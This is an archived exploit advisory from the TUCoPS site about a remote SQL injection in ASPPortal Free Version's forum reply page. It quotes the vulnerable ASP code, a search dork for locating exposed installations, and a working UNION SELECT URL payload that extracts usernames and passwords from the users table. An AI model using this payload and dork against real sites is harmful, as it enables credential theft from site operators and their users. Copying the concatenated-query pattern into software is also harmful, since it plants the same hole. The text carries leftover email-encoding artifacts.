Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: CMS / Portals :: bx3488.htm

ASPPortal Free Version (Topic_Id) Remote SQL Injection Vulnerability



ASPPortal Free Version (Topic_Id) Remote SQL Injection Vulnerability
ASPPortal Free Version (Topic_Id) Remote SQL Injection Vulnerability



[+] Info:=0D
=0D
[~] Bug found by Jose Luis G=F3ngora Fern=E1ndez (JosS)=0D
[~] sys-project[at]hotmail.com=0D
[~] http://www.spanish-hackers.com=0D 
[~] Spanish Hackers Team - [SHT]=0D
[~] EspSeC & Hack0wn!.=0D
=0D
[~] Software: ASPPortal Free Version=0D
[~] HomePage: http://www.aspportal.net/=0D 
[~] Exploit: Remote SQL Injection Vulnerability [High]=0D
=0D
[~] Dork: "Powered by www.aspportal.net"=0D 
=0D
[+] Remote SQL Injection:=0D
=0D
[~] Vuln file: /content/forums/reply.asp=0D
=0D
    // -------------------------------------- //=0D
=0D
line 2:    <%=0D
	Dim TopicID=0D
	Dim ForumID=0D
	=0D
	TopicID = Server.HTMLEncode(request("Topic_id"))=0D
	ForumID = Server.HTMLEncode(request("Forum_ID"))=0D
%>=0D
<% =0D
'sub db_select_detail_Disc_Topics=0D
	sql="SELECT Forums_Topics.Topic_ID, Forums_Topics.Forum_ID, Forums_Topics.Author, Forums_Topics.Topic_Subject, Forums_Topics.Topic_Message, Forums_Topics.IsActive, Forums_Topics.IsLocked, Forums_Topics.Date_Added, Forums_Topics.Created_By, Forums_Topics.Enable_EMail, Forums_Topics.Enable_Sign, Forums_Topics.Icon, users.Username, users.User_id, users.Signature FROM users RIGHT OUTER JOIN Forums_Topics ON users.User_id = Forums_Topics.Author Where Topic_ID = " & to_sql(TopicID,"number") & ""=0D
                      =0D
	'response.write sql	=0D
	=0D
	set rs = cn.Execute(sql)=0D
=0D
line 21:		TopicId = rs("Topic_Id")=0D
=0D
    // -------------------------------------- //=0D
=0D
[~] http://localhost/PATH/content/forums/reply.asp?Forum_Id=3&Topic_Id=[SQL]=0D 
[~] 6+and+1=2+union+select+1,2,3,4,Password,6,7,Username,9,0,1,2,3,4,5+from+users=0D
=0D
=0D
[~] GreeTz: str0ke; nhh-32; an0de; ka0x; s3ism0; ayin; k0rde; zy0nx; you_kn0w; ssh-2; nettoxic; phnx; murder; and more...=0D
=0D
* In memory of rgod


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH